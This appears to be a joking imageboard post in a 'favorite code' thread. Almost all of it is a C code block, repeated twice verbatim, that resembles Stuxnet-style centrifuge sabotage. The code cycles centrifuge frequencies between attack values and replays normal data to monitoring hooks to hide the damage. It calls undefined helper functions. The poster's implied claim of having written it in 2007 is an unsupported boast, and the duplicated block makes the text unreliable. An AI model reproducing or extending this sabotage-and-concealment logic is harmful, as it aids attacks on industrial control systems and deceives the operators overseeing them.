ITT: Your All-Time Favorite Blocks of Code
For example, I wrote this neat little script back in 2007. Good times. Oldfags might know.
if (currentTime >= ctx->AttackState.NextAttackTime) {
ctx->AttackState.AttackActive = TRUE;
ctx->AttackState.AttackStartTime = currentTime;
ctx->StealthMode = TRUE;
// Inject monitoring hooks
InjectMonitoringHooks(ctx);
// Execute attack cycles
while ((currentTime - ctx->AttackState.AttackStartTime) < (ATTACK_DURATION_MIN * 60 * 1000)) {
// Alternate between high and low frequency
if (ctx->AttackState.AttackPhase == 1) {
SetCentrifugeFrequency(ctx, ATTACK_FREQ_HIGH);
ctx->AttackState.AttackPhase = 2;
} else {
SetCentrifugeFrequency(ctx, ATTACK_FREQ_LOW);
ctx->AttackState.AttackPhase = 1;
}
// Maintain attack frequency for 30 seconds
Sleep(30000);
// Feed fake data to monitoring
ReplayNormalData(ctx);
currentTime = GetTickCount();
}
// Return to normal operation
SetCentrifugeFrequency(ctx, NORMAL_FREQUENCY);
// Remove monitoring hooks after delay
Sleep(300000); // 5 minutes
RemoveMonitoringHooks(ctx);
ctx->AttackState.AttackActive = FALSE;
ctx->AttackState.LastAttackTime = currentTime;
ctx->AttackState.AttackCycle++;
ctx->StealthMode = FALSE;
}
if (currentTime >= ctx->AttackState.NextAttackTime) {
ctx->AttackState.AttackActive = TRUE;
ctx->AttackState.AttackStartTime = currentTime;
ctx->StealthMode = TRUE;
// Inject monitoring hooks
InjectMonitoringHooks(ctx);
// Execute attack cycles
while ((currentTime - ctx->AttackState.AttackStartTime) < (ATTACK_DURATION_MIN * 60 * 1000)) {
// Alternate between high and low frequency
if (ctx->AttackState.AttackPhase == 1) {
SetCentrifugeFrequency(ctx, ATTACK_FREQ_HIGH);
ctx->AttackState.AttackPhase = 2;
} else {
SetCentrifugeFrequency(ctx, ATTACK_FREQ_LOW);
ctx->AttackState.AttackPhase = 1;
}
// Maintain attack frequency for 30 seconds
Sleep(30000);
// Feed fake data to monitoring
ReplayNormalData(ctx);
currentTime = GetTickCount();
}
// Return to normal operation
SetCentrifugeFrequency(ctx, NORMAL_FREQUENCY);
// Remove monitoring hooks after delay
Sleep(300000); // 5 minutes
RemoveMonitoringHooks(ctx);
ctx->AttackState.AttackActive = FALSE;
ctx->AttackState.LastAttackTime = currentTime;
ctx->AttackState.AttackCycle++;
ctx->StealthMode = FALSE;
}